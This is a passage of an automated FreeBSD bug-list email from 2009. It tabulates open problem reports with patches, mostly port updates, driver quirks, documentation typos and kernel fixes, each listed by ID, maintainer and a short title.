(from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DB8o9G042670 for freebsd-bugs@FreeBSD.org; Mon, 13 Jul 2009 11:08:50 GMT (envelope-from owner-bugmaster@FreeBSD.org) Date: Mon, 13 Jul 2009 11:08:50 GMT Message-Id: <200907131108.n6DB8o9G042670@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: gnats set sender to owner-bugmaster@FreeBSD.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Cc: Subject: Current problem reports containing patches X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 11:08:54 -0000 (Note: an HTML version of this report is available at http://people.freebsd.org/~linimon/studies/prs/prs_for_tag_patch.html .) S Tracker Resp. Description -------------------------------------------------------------------------------- o ports/136702 araujo [PATCH] x11-fm/gnome-commander2: update to 1.2.8 o ports/136698 [patch] fix ENOTCONN handling in devel/gwenhywfar (soc o kern/136695 fwd reached after skipto in dynamic rules does not wor o ports/136693 itetcu [PATCH] mail/pmail: fix build with custom LOCALBASE o ports/136692 perl [PATCH] www/p5-Web-Scraper: update to 0.30 o ports/136688 [patch] port ftp/jftpgw - add "MLSD" capability o ports/136683 ahze [PATCH] devel/distcc: Remove gcc295 support f ports/136680 dinoex [PATCH] textproc/eruby: Fix broken o ports/136679 ahze [PATCH] devel/ccache: Remove gcc295 support o ports/136678 itetcu [PATCH] net/rtg: fix custom LOCALBASE build + other Ma o kern/136669 [libc] [patch] setmode(3) should always set errno on e o ports/136668 philip [patch] games/wesnoth: update to 1.6.4 o ports/136662 araujo [PATCH] x11-toolkits/tktreectrl: update to 2.2.9 o bin/136661 [patch] ndp(8) ignores -f option o ports/136657 marcus [PATCH] ports-mgmt/portlint: Fix string comparison wit o ports/136644 lwhsu [PATCH] mail/py-spambayes: update for python 2.6 o ports/136637 amdmi3 [PATCH] sysutils/xlogmaster: update to 1.6.2 o ports/136636 amdmi3 [PATCH] sysutils/virtualmin: update to 3.703 o ports/136629 glarkin [PATCH] multimedia/mythtv: fixes to respect LOCALBASE o ports/136621 lev [patch] devel/ruby-subversion: unbreak the build o conf/136620 [patch] add watchdogd_flags to defaults/rc.conf f ports/136607 gerald [PATCH] lang/gcc43 lang/gcc44: add OPTION for devel/bi o ports/136598 apache [PATCH] www/mod_fastcgi: Fix non-threadsafe function f ports/136596 miwi [Patch]textproc/py-xml:welcome python2.6 o ports/136594 amdmi3 [new port] [patch] astro/astrometry o ports/136592 max [PATCH] www/p5-WWW-Shorten-Bitly: update to 1.10 f ports/136590 pgollucci [PATCH] www/p5-W3C-LogValidator: update to 1.4 o ports/136587 clsung [PATCH] www/p5-Jifty: update to 0.90701 o ports/136586 clsung [PATCH] www/p5-Jifty: update to 0.90701 f ports/136582 pgollucci [PATCH] www/p5-HTML-Chunks: update to 1.55.1 o ports/136580 lbr [PATCH] www/p5-Catalyst-Runtime: update to 5.80007 o ports/136579 lbr [PATCH] www/p5-Catalyst-Plugin-Session: update to 0.24 o ports/136578 lbr [PATCH] www/p5-Catalyst-Plugin-PageCache: update to 0. o ports/136577 lbr [PATCH] www/p5-Catalyst-Plugin-FillInForm: update to 0 o ports/136576 lbr [PATCH] www/p5-Catalyst-Plugin-ConfigLoader: update to o ports/136575 lbr [PATCH] www/p5-Catalyst-Plugin-Authentication: update o ports/136574 lbr [PATCH] www/p5-Catalyst-Model-Xapian: update to 0.04 o ports/136573 lbr [PATCH] www/p5-Catalyst-Model-DBIC-Schema: update to 0 o ports/136572 lbr [PATCH] www/p5-Catalyst-Example-InstantCRUD: update to o ports/136571 lbr [PATCH] www/p5-Catalyst-Devel: update to 1.19 o ports/136566 lbr [PATCH] textproc/p5-Text-SimpleTable: update to 1.2 o ports/136565 mat [PATCH] textproc/p5-Text-Reflow: update to 1.07 o ports/136564 ache [PATCH] textproc/p5-Text-CSV_XS: update to 0.65 f ports/136563 pgollucci [PATCH] textproc/p5-Perl-Critic-Bangs: update to 1.02 f ports/136562 pgollucci [PATCH] textproc/p5-KinoSearch: update to 0.165 o ports/136561 lbr [PATCH] textproc/p5-FormValidator-Simple: update to 0. f ports/136560 pgollucci [PATCH] sysutils/p5-Sysadm-Install: update to 0.29 f ports/136559 pgollucci [PATCH] shells/p5-Shell-Perl: update to 0.0018 f ports/136557 pgollucci [PATCH] security/p5-File-Scan-ClamAV: update to 1.91 o ports/136556 clsung [PATCH] news/p5-POE-Component-Server-NNTP: update to 1 o ports/136554 clsung [PATCH] net/p5-Net-Twitter: update to 3.03000 o ports/136551 glarkin [PATCH] net/p5-Net-Mosso-CloudFiles: update to 0.43 f ports/136550 pgollucci [PATCH] net/p5-Net-LDAP-LDAPhash: update to 1.0.2 f ports/136549 pgollucci [PATCH] net/p5-Net-Google-Calendar: update to 0.97 f ports/136547 pgollucci [PATCH] net/p5-Apache2-SOAP: update to 0.73 o ports/136546 sumikawa [PATCH] multimedia/p5-FFmpeg-Command: update to 0.11 f ports/136545 pgollucci [PATCH] misc/p5-Test-Dir: update to 1.006 o ports/136543 chinsan [PATCH] misc/p5-Geography-NationalGrid-TW: update to 0 f ports/136542 pgollucci [PATCH] math/p5-Math-Base36: update to 0.1 f ports/136541 pgollucci [PATCH] mail/p5-MIME-EncWords: update to 1.011.1 o ports/136539 chinsan [PATCH] graphics/p5-Layout-Manager: update to 0.30 o ports/136538 chinsan [PATCH] graphics/p5-Graphics-Primitive: update to 0.44 o ports/136537 chinsan [PATCH] graphics/p5-Chart-Clicker: update to 2.36 f ports/136536 pgollucci [PATCH] dns/p5-Net-LibIDN: update to 0.12 o ports/136533 clsung [PATCH] dns/p5-Net-DNS-ToolKit: mark make jobs unsafe, f ports/136532 pgollucci [PATCH] devel/p5-threads-shared: update to 1.29 f ports/136530 pgollucci [PATCH] devel/p5-ex-lib: update to 0.07 o ports/136529 chinsan [PATCH] devel/p5-Variable-Magic: update to 0.36 o ports/136527 lbr [PATCH] devel/p5-UNIVERSAL-isa: update to 1.03 o ports/136526 lbr [PATCH] devel/p5-UNIVERSAL-can: update to 1.15 f ports/136525 pgollucci [PATCH] devel/p5-Sys-SigAction: update to 0.11 f ports/136522 pgollucci [PATCH] devel/p5-SSN-Validate: update to 0.18 f ports/136518 pgollucci [PATCH] devel/p5-Object-InsideOut: update to 3.55 o ports/136517 lbr [PATCH] devel/p5-Mouse: update to 0.27 o ports/136516 lbr [PATCH] devel/p5-MooseX-Types: update to 0.16 o ports/136513 lbr [PATCH] devel/p5-MooseX-POE: update to 0.205 o ports/136509 lbr [PATCH] devel/p5-MooseX-AttributeHelpers: update to 0. o ports/136508 lbr [PATCH] devel/p5-Moose: update to 0.87 o ports/136507 mat [PATCH] devel/p5-Locale-Maketext-Gettext: update to 1. f ports/136506 pgollucci [PATCH] devel/p5-IO-Lambda: update to 1.11 o ports/136505 clsung [PATCH] devel/p5-IO-Async: update to 0.21 o ports/136504 clsung [PATCH] devel/p5-Glib2: update to 1.222 f ports/136503 pgollucci [PATCH] devel/p5-File-Util: update to 3.27 o ports/136498 mat [PATCH] devel/p5-DateTime-TimeZone: update to 0.91 o ports/136497 mat [PATCH] devel/p5-DateTime-Locale: update to 0.43 o ports/136496 mat [PATCH] devel/p5-DateTime: update to 0.50 o ports/136494 mat [PATCH] devel/p5-Data-Dumper: update to 2.124 o ports/136492 lbr [PATCH] devel/p5-Config-JFDI: update to 0.063 o ports/136488 lbr [PATCH] databases/p5-DBIx-Class-ResultSet-RecursiveUpd o ports/136487 lbr [PATCH] databases/p5-DBIx-Class: update to 0.08107 o ports/136486 chinsan [PATCH] converters/p5-JSON-DWIW: update to 0.34 f ports/136485 pgollucci [PATCH] cad/p5-Verilog-Perl: update to 3.211 o ports/136484 [PATCH] audio/p5-MP3-Tag: update to 1.11 o ports/136483 flz net-p2p/ctorrent: [patch] option to install ctcs f ports/136469 miwi [patch] Update www/mediawiki to version 1.15 o ports/136455 vd [PATCH] misc/ossp-uuid: add -fPIC for amd64 and ia64 p bin/136383 brian [PATCH] jot(1): fix usage of uninitialized values o kern/136361 thompsa [patch] fix regression (kernel panic) in uaudio.c o bin/136354 [patch] powerd(8): Support for maxspeed in adaptive mo o conf/136336 [termcap] [patch] missing entry for "center of keypad" o ports/136330 dhn [patch] x11-wm/i3: Fix path in example and man file f ports/136305 avl [patch] audio/musicpd: 0.15 update o ports/136303 roam [patch] textproc/texi2html -- update to 1.82 o ports/136302 itetcu [patch] ports-mgmt/tinderbox-devel incorrect WEBUI opt o ports/136291 openoffice [patch] editors/openoffice.org-3: gpatch failure o ports/136259 mich [PATCH] sysutils/libcdio: incorrect japanese manpage i o kern/136251 xen [xen] [patch] xn0 doesn't DHCP o ports/136207 ache [PATCH]: graphics/png: update to 1.2.37 (security) o ports/136197 flz [patch] net-p2p/bnbt sha1 implementation broken for am o ports/136191 krion [PATCH]devel/nasm: update to 2.06 f ports/136187 wxs [PATCH]: net-mgmt/nagios update to address security vu f ports/136185 mm [PATCH] www/spawn-fcgi: more flags to rc script o kern/136159 [kthread] [patch] tsleep with PDROP in kthread_suspend o ports/136151 gabor [patch] port security/amavisd-new add snmp subagent f ports/136137 araujo [PATCH] comms/spandsp: Update to 0.0.5 f ports/136134 araujo [PATCH] graphics/ivtools: Patch to correct the install o ports/136103 mnag [PATCH] databases/memcached: Update REPCACHED patch o ports/136091 pgollucci [PATCH] www/apache22 - suexec resource limits patch f ports/136077 araujo [PATCH] net/ssltunnel-client: update to 1.16. Fixed ma f ports/136076 araujo [PATCH] net/ssltunnel-server: update to 1.16 o ports/136027 obrien [patch] editors/vim: improve fetching o kern/135989 [NOTES] [patch] device vr support D-Link DFE-520TX, bu o ports/135979 nobutaka [PATCH] www/w3m: Mark MAKE_JOBS_UNSAFE=yes o ports/135971 gecko [PATCH] www/linux-firefox-devel: Removed mark forbidde o ports/135958 novel [patch] update audio/mpg123 from 1.6.4 to 1.8.1 o ports/135927 itetcu [PATCH]math/R: fix build in the case of a non-default o bin/135918 [patch] Make BootEasy compatible with NT Drive Serial o bin/135893 [patch] vmstat(8): 'vmstat -s -M core' is broken o ports/135883 shaun [PATCH] lang/gcc295: Unbreak build o ports/135877 lbr [PATCH] databases/p5-DBIx-Class: update to 0.08107 o kern/135874 geom [geom] [patch] geom_linux_lvm misses newer fedora defa o ports/135720 mat [PATCH] devel/perltidy: update to 20090616 o ports/135719 [patch] multimedia/mplayer: Fix segfaults when playing o bin/135718 [patch] enhance qsort(3) to properly handle 32-bit ali o bin/135700 [patch] Add an ability to run inetd(8) with P_PROTECTE o ports/135681 novel [patch] security/gnutls-devel update to 2.9.1 o ports/135680 novel [patch] security/gnutls update to 2.8.1 o ports/135679 novel [patch] security/libtasn1 update to 2.2 o ports/135674 portmgr [PATCH] some PHP-related knobs should be placed before o ports/135670 ale [PATCH] databases/mysql50-server: in mysql-client mysq o ports/135664 delphij [PATCH]: bsd.ldap.mk: Detect flavour of installed open o ports/135663 portmgr [PATCH]: bsd.port.mk: move pkg_install commands detect o ports/135649 portmgr Mk/bsd.port.mk: [patch], fix documentation relating to p kern/135628 remko [umass] [patch] add a device quirk for Myson Heden 881 f ports/135621 wxs [PATCH] ports/sysutils/fusefs-kmod o kern/135608 [patch] sysctl should be able to handle byte values o usb/135575 usb [usbdevs] [patch] Add HTC Wizard phone vid/pid informa o bin/135565 randi [patch] a patch for sysinstall(8) to look at UFS parti s ports/135544 [patch]net-im/qwit suffers from twitpocalypse f ports/135541 [PATCH] math/p5-NetCDF cannot load module with netcdf- o docs/135520 doc [patch] typos in fail(9) o ports/135500 obrien net/rdesktop sound does not work [PATCH] o kern/135485 [modules] [patch] During a shutdown, kernel modules sh o docs/135475 doc [patch] jot(1) manpage and behaviour differ o ports/135474 ale [PATCH] Mk/bsd.php.mk: add possibility to redefine PHP o ports/135471 secteam [patch] ports-mgmt/portaudit-db packaudit.conf sourced o threa/135462 threads [PATCH] _thread_cleanupspecific() doesn't handle delet o bin/135349 acpi [patch] teach acpidump(8) to disassemble arbitrary mem o ports/135341 emulation [PATCH] linux-f10 ports that install manpages: add NOM o ports/135337 emulation [PATCH] emulators/linux_base-f10: incorrect bash usage o ports/135330 lippe [PATCH] devel/st: return back missed file into library o ports/135323 beech [PATCH] ftp/proftpd giving up on fetching files: mod_c o ports/135303 alepulver [PATCH] games/warzone2100: update to 2.2.0 p misc/135301 remko [tinybsd] [patch] Patch for fix architecture support f f ports/135285 wxs [PATCH] sysutils/fusefs-kmod: Fix build on current o ports/135238 multimedia [patch] OPTIONS support in multimedia/transcode o docs/135165 doc [patch] make(1) fixes: punctuation, typos, tweaks o bin/135159 [patch] pkg_delete(1) segfaults on empty @pkgdep lines f ports/135157 dinoex [PATCH] print/cups: broken metaport does not install o kern/135070 acpi [acpi] [patch] BIOS resource allocation and FreeBSD AC o kern/135067 net [patch] [fib] Incorrect KASSERTs in sys/net/route.c o kern/135057 [ata] [patch] New VIA SATA controller are not getting o ports/135055 mat [PATCH] devel/p5-DateTime-TimeZone: update to 0.91 p usb/135009 weongyo [uath] [patch] Accton ar5523 products not in "uath" dr o bin/134975 ipfw [patch] ipfw(8) can't work with set in rule file. o ports/134952 perl [patch] security/p5-Net-SSLeay build shouldn't need in o ports/134946 alexbl [PATCH] textproc/highlight: update to 2.9 o misc/134920 [patch] Large upgrades from source cause compile error o bin/134919 [patch] add information to truss(1) when tracing linux o kern/134878 [puc] [patch] Add support for Oxford OXPCIe954 and OXP o ports/134874 alepulver [patch] Port fix games/iourbanterror on amd64 o amd64/134786 amd64 [vfs] [patch] vfs.bufspace sysctl wideness on amd64 o ports/134785 novel [patch][vuxml] security/gnutls: update to 2.6.6 and do f ports/134773 openoffice [patch] editors/openoffice.org-3 reduce depenedencies o conf/134660 rc [patch] rc-script for initializing ng_netflow+ng_ipfw o ports/134643 x11 [patch] x11-servers/xorg-server - Unbreak Xorg 7.4 ser o ports/134632 kwm [patch] Update port: multimedia/ffmpeg 2009-05-15 o usb/134631 usb [usbdevs] [patch] WiSPY DBx support requires usb tweak o gnu/134604 [gcclibs] [patch] Memory leak in gcclibs/libgomp f ports/134594 lwhsu [PATCH] security/pwman3: use cElementTree and sqlite c o kern/134590 [libi386] [gpt] [patch] Bootloader support for hybrid o i386/134586 jhb [i386] [patch] Incorrect machine check exception handl f ports/134537 miwi misc/e2fsprogs-libuuid closes too manu descriptors [pa f ports/134536 gnome [patch] graphics/gimp: Gimp 2.6.6 fails to open URI's f ports/134535 miwi sysutils/e2fsprogs uuidd is broken [patch] o ports/134534 beech [PATCH] net/skype12, remove IGNORE s kern/134517 yongari [rl] [patch] Realtek 8111C Driver Backport for FreeBSD o ports/134515 shaun [PATCH] www/kannel: unbreak kannel on sparc64 o ports/134514 perky [PATCH] devel/libsigsegv: unbreak on sparc64 o kern/134513 [libc] [patch] fts(3) FTS_NOCHDIR misbehavior with emp o ports/134501 mat [PATCH] devel/p5-DateTime: update to 0.50 o ports/134498 skv [PATCH] devel/p5-Class-Accessor: update to 0.33 o ports/134397 lme [patch] games/scummvm update o arm/134368 arm [patch] nslu2_led driver for the LEDs on the NSLU2 o arm/134338 arm [patch] Lock GPIO accesses on ixp425 o ports/134273 multimedia [patch] multimedia/ffmpeg - avoid crash in multimedia/ o ports/134256 mm [patch] net-im/mu-conference. Unbreak build with mysql o kern/134249 [libiconv] [patch] ignore case for character set names o i386/134242 i386 [boot0] [patch] improvement i386 boot0 error diagnose o ports/134239 python [patch] rc script for net-p2p/py-bittornado o kern/134225 [libexec] [patch] Reduce disk write load from save-ent o ports/134214 chinsan [PATCH] devel/p5-List-Rotation-Cycle: update to 1.009 o ports/134166 skv [PATCH] devel/p5-prefork: update to 1.03 o docs/134127 doc [patch] ip6(4) manual does not contain proper referenc o usb/134117 usb [Patch] Add support for 'Option GlobeTrotter HSDPA Mod o ports/134109 lme [PATCH] multimedia/devede: Fix Python Psyco support o arm/134092 arm [patch] NSLU.hints contains wrong hints for on board n o docs/134074 doc [patch] locking.9 man page slight enhancements o ports/134071 danfe [patch] Port update to games/nexuiz 2.5 o bin/134069 [patch] mount_nfs(8) option parsing bug p docs/134053 danger [patch] arp(8) manpage should mention ndp(8) in See Al o bin/134038 dougb [patch] mergemaster(8): preserve mode/ownership for ex o kern/134010 [gssapi][patch] Buffer overflow and use-after-free in o conf/134006 rc [patch] Unload console screensaver kernel modules if s o ports/133996 flz [PATCH] mail/gnome-gmail-notifier: migrate to devel/li o ports/133946 x11 x11-servers/xorg-server [patch] X crashes in xinerama o bin/133907 [patch] cp(1) wrongly reports errors in vacuous copy o conf/133890 rc [patch] sshd(8): add multiple profiles to the rc.d scr o bin/133860 [patch] lorder(1) misses symbols defined in read only o bin/133834 [patch] chat(1): terminate()/fatal() infinity mutual r o ports/133815 portmgr [PATCH] bsd.port.mk: implements fakeroot for the ports o kern/133786 [netinet] [patch] ip_input might cause kernel panic o kern/133776 [libc] [patch] snprintf(3) and vsnprintf(3) do not pro o kern/133775 [patch] gdb(1) debugscripts: fix proc address print in s kern/133733 [pci] [patch] Incorrect record in pci_vendors for Broa o conf/133715 [terminfo] [patch] no terminfo for rxvt-unicode termin f usb/133712 gavin [ural] [patch] RE: Fixed an issue with ural(4) that wa o ports/133663 skv [PATCH] devel/p5-POE: update to 1.0040 o ports/133641 doceng [PATCH] print/ghostscript7 crash bug o docs/133567 doc [patch] doc/Makefile switch to csup f ports/133533 pgollucci [PATCH] Add a static user/group for audio/musicpd port o kern/133491 [libfetch] [patch] Digest HTTP authentication support o ports/133457 eclipse [PATCH] java/eclipse-webtools: update to 3.0.3 o ports/133430 oliver [patch] multimedia/audacious 1.5.1: file dialog opens o ports/133423 eclipse [PATCH] java/eclipse-emf: Update to 2.4.1 o ports/133417 eclipse [PATCH] java/eclipse-gef: update to 3.4.1 o ports/133413 mich [patch] sysutils/libcdio 0.78.2 is broken for CDROMs t o ports/133291 nork [PATCH] graphics/ilmbase: produces library not linked p bin/133255 stefanf [PATCH] sh(1): empty line in eval resets $? o ports/133250 cy [PATCH] sysutils/screen: remove NO_PACKAGE. o kern/133239 [ae] [jme] [patch] if_jme can assign duplicate MAC add o kern/133235 net [netinet] [patch] Process SIOCDLIFADDR command incorre o bin/133227 [patch] whois(1): add support for SLD whois server loo o ports/133175 x11 [patch] x11/pixman: enable SSE2 support autodetection o kern/133174 fs [msdosfs] [patch] msdosfs must support utf-encoded int o kern/133162 [NOTES] [patch] document modular ata driver devices o ports/133146 ahze [patch] x11-fonts/dejavu: install fontconfig configura o docs/133118 doc [patch] Error in getopt (1) manual EXAMPLES section o docs/133110 doc [patch] Typo corrections for /usr/src/UPDATING o ports/133098 mbr [patch] mail/up-imapproxy hardcoded to use /etc/imappr o ports/133078 kde [PATCH] kmix (multimedia/kdemultimedia4) incorrectly b o bin/132993 [patch] bsnmpd(1) - bad IfPoll timer interval o ports/132952 obrien [patch] lang/pcc update o ports/132881 girgen [PATCH] www/jakarta-jmeter: update to 2.3.2 o conf/132851 net [fib] [patch] allow to setup fib for service running f o bin/132847 syrinx [patch] bsnmpd(8): snmp_pf: add support for retrieving o bin/132845 geom [geom] [patch] ggated(8) does not close files opened a o docs/132839 doc [patch] Fix example script in ldap-auth article p docs/132834 trhodes [patch] Punctuation inconsistency in chgrp.1 and cut.1 o kern/132832 net [netinet] [patch] tcp_output() might generate invalid p usb/132799 usb [usb][patch]GENESYS USB2IDE requires NO_SYNCHRONIZE_CA o bin/132798 net [patch] ggatec(8): ggated/ggatec connection slowdown p o usb/132785 usb [usb] [patch] Gemtech remote powersocket is classed as o kern/132705 net [libwrap] [patch] libwrap - infinite loop if hosts.all o ports/132693 sobomax [PATCH] misc/libpri: update to 1.4.9 o bin/132692 [patch] getent(1): no support for netgroup o ports/132688 sobomax [PATCH] net/asterisk: update to 1.4.23.2 o kern/132622 philip [glxsb] [patch] glxsb(4) performs badly with ipsec o bin/132591 [patch] dump(8): "dump W" uses %c instead of %d for re o ports/132588 ahze [PATCH] www/midori: update to 0.1.4 f ports/132579 cy [patch] sysutils/screen: fix build with externel compi o ports/132573 ume [patch] security/cyrus-sasl2: fix compilation with gcc p docs/132546 trhodes [patch] sync vm_map_lock(9) with recent locking change o docs/132525 doc [PATCH] Fix documentation for atapicam(4) and umass(4) o kern/132497 rwatson [boot] [patch] Stale pre-5.x mbuf references in new Bo o conf/132483 rc rc.subr(8) [patch] setfib(1) support for rc.subr o conf/132476 rc [rc.d] [patch] add support setfib(1) in rc.d/routing o ports/132435 anders [patch] audio/xmp: add option to use tar(1) instead of p docs/132392 trhodes [PATCH] remove leftovers of libkse from pthread.3 o bin/132367 [patch] less(1)/more(1) fchmod(2) `/dev/null' to 0600 o ports/132352 gahr [patch] databases/mysql-gui-tools hangs when picking s o www/132344 bugmeister [patch] www/en/cgi/query-pr.cgi broken base64 attachme s ports/132319 lwhsu [PATCH] chinese/scim-chewing: update to 0.3.3 s ports/132318 lwhsu [PATCH] chinese/libchewing: update to 0.3.2 o docs/132311 doc [patch] man5/nsmb.conf.5 o bin/132302 [patch] smbutil(1): contrib/smbfs subr.c: saved passwo o ports/132294 stas [PATCH] lang/ruby18: Add option to build with Profile- o ports/132293 stas [PATCH] lang/ruby19: Add option to build with Profile- o ports/132274 portmgr [patch] Mk/bsd.port.mk: Revert USE_RC_SUBR changes mad o kern/132273 geom glabel(8): [patch] failing on journaled partition o kern/132271 [puc] [patch] puc support for a generic card f ports/132231 gecko [PATCH] www/firefox3: Add option to build with Profile o ports/132213 anders [patch] mail/imap-uw: Add support for ~/mail as defaul o docs/132193 doc [patch] description in the malo(4) manpage incorrect o conf/132179 net [patch] /etc/network.subr: ipv6 rtsol on incorrect wla o bin/132114 randi [patch] add new 'docs' virtual category to sysinstall o bin/132112 [patch] devd(8) unnecessarily reconfigures carp(4) int o kern/132104 [kernel] [patch] kenv(1) buffer overflow o usb/132080 usb [patch] [usb] Kernel panic after NOMEM caused by rum c o ports/132074 tdb [patch] - update security/f-prot to version 6.0.1 o conf/132008 [PATCH] to allow using section/nosection in KERNCONF o kern/132001 [patch] [ixgb] driver update o kern/131933 [uart] [patch] Cannot detect Sony Ericsson GC89 EDGE/W o ports/131930 x11 [PATCH] x11-servers/xorg-server coredumps on exit o docs/131918 doc [patch] Fixes for the BPF(4) man page o usb/131912 usb [uslcom] [patch] New devices using Silicon Labs chips o usb/131900 usb [usbdevs] [patch] Additional product identification co o docs/131684 doc [patch] articles/linux-comparison: replace Addenda by o docs/131626 pgj [patch] dump(8) "recommended" cache option confusing o docs/131625 pgj [patch] Typos in ed(1) man page o docs/131590 doc [patch] whitespace-only change of developers-handbook/ o bin/131567 net [socket] [patch] Update for regression/sockets/unix_cm o docs/131562 doc [patch] groff(1): don't corrupt man pages by replacing s ports/131537 jpaetzel [PATCH] devel/py-yaml: update to 3.08 o kern/131536 net [netinet] [patch] kernel does allow manipulation of su o ports/131452 portmgr [PATCH] Fix the problem usage MASTER_SITE_SUBDIR witho s ports/131447 jpaetzel [PATCH] multimedia/transcode: update to 1.1.0 o bin/131427 [patch] Add to fetch(1) an ability to limit a number o p bin/131250 bz [patch] ppp(8) proxyarp does not work o bin/131143 [patch] amd(8) causes annoying "embedded slash in map f usb/131123 usb [patch] re-add UQ_ASSUME_CM_OVER_DATA USB quirk o kern/131086 fs [ext2fs] [patch] mkfs.ext2 creates rotten partition o misc/131059 [tinybsd] [patch] tinybsd MFSROOT option suggests YES/ o bin/130874 [patch] fix typo in nvi(1) (subsitution -> substitutio o misc/130856 [build] [patch] make installworld work when WITHOUT_GA o bin/130855 [PATCH] add a chown(8)/chgrp(8) -x option to avoid cro o ports/130811 doceng [PATCH] Floating point exceptions Ghostscript 8.63 (pr o kern/130749 [libc] [patch] nscache.c/nscachedcli.c - return error o docs/130742 doc [patch] articles/geom-class: russian translation is mi o kern/130735 scsi [cam] [patch] pass M_NOWAIT to the malloc() call insid o kern/130724 emulation [linprocfs] [patch] cpuinfo in linprocfs is dated, cau o kern/130657 bz [ip6] [patch] ipv6 class option o conf/130555 net [rc.d] [patch] No good way to set ipfilter variables a p docs/130548 geom [patch] gjournal(8) man page is missing sysctls o kern/130512 [ipmi] [patch] Various mistakes in IPMI watchdog handl o kern/130476 [build] [patch] Error in compiling kernel with device o conf/130414 rc [patch] rc services started with onestart are not stop o docs/130394 jb [patch] Minor typo in dtrace(1M) man page o ports/130387 portmgr [PATCH] Mk/bsd.port.mk - Add macros for COPYTREE_WWW a a kern/130386 rwatson [patch] add locking for generic interface address mani o bin/130366 randi [patch] sysinstall(8): Minor correction to sysinstall o usb/130325 usb [usb] [patch] fix tools/tools/usb/print-usb-if-vids.sh o kern/130286 [patch] hifn(4) changes s ports/130199 chinsan [PATCH] audio/mp3info: take maintainership s ports/130198 chinsan [PATCH] audio/libshout2: take maintainership o ports/130183 hoek [PATCH] converters/xdeview switch to USE_TCL p bin/130159 bz [patch] ppp(8) fails to correctly set routes o ports/130146 multimedia [PATCH] multimedia/transcode: update to 1.0.7 o bin/130132 ipfw [patch] ipfw(8): no way to get mask from ipfw pipe sho a kern/130107 dfr [devctl] [patch] in devctl_queue_data(): possible use o bin/130056 [patch] have nfsstat(1) use strtonum instead of atoi o bin/129965 [patch] ps(1): ps -lH doesn't show the proper CPU# o usb/129945 usb [usbdevs] [patch] add u3g support for Longcheer WM66 U o kern/129861 pf [pf] [patch] Argument names reversed in pf_table.c:_co p usb/129858 remko [usb] [patch] Need to add quirk to da_scsi.c to suppor o bin/129814 [patch] support of per script nice(1) value in periodi o ports/129813 delphij [PATCH] net/openldap24-server: RC script assumes too m p kern/129793 bz [ip6] [patch] Locking related leaks in the kernel (rou o ports/129790 lioux [PATCH] net-p2p/mldonkey: Fix rc start script o kern/129784 [ata] [patch] SATA port multiplier disk detect bugs in o ports/129782 tmclaugh [PATCH] security/sudo: update to 1.7.0 o bin/129764 [patch] unbreak sbin/newfs build for the 8-CURRENT o usb/129758 usb [uftdi] [patch] add Pyramid LCD usb support o ports/129741 portmgr [patch] bsd.port.mk: support systems that have been bu o conf/129697 [patch] fix misbehavior of periodic/daily/100.clean-di o ports/129687 obrien [patch] unbreak net/tcpshow for gcc-4.2.1 p bin/129630 [patch] bsnmpd(1): teach hostres module about ZFS o bin/129620 [patch] Incorrect bzip2(1) behavior o ports/129577 des [PATCH] sysutils/munin-main: does not honor BATCH/PACK o ports/129576 des [PATCH] sysutils/munin-node: does not honor BATCH/PACK o ports/129553 hrs [patch] print/acroread8 can't launch some programs due o usb/129522 usb [ubsa] [patch] add support for ZTE AC8700 modem o ports/129422 ume [patch] mail/cyrus-imapd23: add patch for autocreate I o bin/129405 [patch] tcsh(1) vfork bugs p docs/129398 trhodes [patch] ddb(8): various tweaks to ddb-related man page o kern/129352 net [xl] [patch] xl0 watchdog timeout o usb/129251 usb [usbdevs] [patch] Liebert UPS being assigned uhid and o kern/129231 fs [ufs] [patch] New UFS mount (norandom) option - mostly o ports/129210 portmgr [patch] Instrument bsd.port.mk to detect unstripped bi o usb/129173 usb [uplcom] [patch] Add support for Corega CG-USBRS232R a o kern/129169 emulation [linux] [patch] Linux Emulation ENOTCONN error using n o kern/129059 fs [zfs] [patch] ZFS bootloader whitelistable via WITHOUT o docs/129024 keramida [patch] ipfw(8) improvements p arm/128987 stas [patch] Fix at91_mci and use 1-bit mode. o usb/128977 usb [usb] [patch] uaudio is not full duplex o ports/128838 des [PATCH] www/varnish 2.0.1 enhancements o usb/128803 usb [usbdevs] [patch] Quirk for I-Tuner Networks USBLCD4X2 o ports/128782 ume [PATCH] mail/cyrus-imapd23 2.3.13 p usb/128760 cperciva [ums] [patch] patch for Microsoft Comfort Optical Mous o bin/128725 [patch] whois(1) does not correctly send queries regar o docs/128711 blackend Re: [patch] for handbook browsers page o gnu/128645 [patch] grep(1): teach grep -r to how to ignore direct f kern/128639 acpi [patch] [acpi_asus] acpi for ASUS A6F,A3E,A3F,A3N not f kern/128634 acpi [patch] fix acpi_asus(4) in asus a6f laptop p bin/128616 kientzle [patch] bsdtar(1) error message typo p misc/128610 kensmith [patch] /usr/src: the iso.1 target of make release do o kern/128608 [pccbb] [patch] add support for powering down and up C o bin/128605 secteam [patch] dhclient(8) - security issue o ports/128603 [patch] textproc/flex has too small capacity o bin/128587 kensmith [patch] sysinstall(8) uses first mirror in Turkey even o bin/128582 [patch] wpa_cli(8): activate readline(3) support o kern/128577 [ixgbe] [patch] Send queue stall in ixgbe driver when o bin/128561 kientzle [patch] compile warning fixes for bsdtar test harness o bin/128493 [patch] find(1) exits if -fstype test fails with EACCE o usb/128485 usb [umodem] [patch] Nokia N80 modem support o ports/128467 ale [patch] databases/php4-dba: change Berkeley DB detecti o misc/128444 [build] [patch] create USB stick install image o conf/128433 [patch] Add option to allow a full login when doing 's o bin/128427 [patch] mdfs(8): mount_mfs warns "chmod: Read-only fil o kern/128335 [patch] [cpufreq] Missing call to sbuf_delete() in two o usb/128324 usb [uplcom] [patch] remove baud rate restriction for PL23 o conf/128299 rc [patch] /etc/rc.d/geli does not mount partitions using o bin/128295 net [patch] ifconfig(8) does not print TOE4 or TOE6 capabi o bin/128277 [patch] improvements for fwcontrol(8) utility o gnu/128262 [libgcc] [patch] contrib/gcclibs/libcpp/errors.c: -Wmi o kern/128260 ipfw [ipfw] [patch] ipfw_divert damages IPv6 packets p docs/128222 trhodes [patch] man page truss(1) claims that init(8) can be t o kern/128165 [aac] [patch] sync aac(4) with the latest vendor versi o kern/128103 vwe [feature request] [patch] new SiS 190 NIC driver o bin/128096 bushman [patch] nscd(1): Failure in memset . o bin/128094 [patch] lint(1): 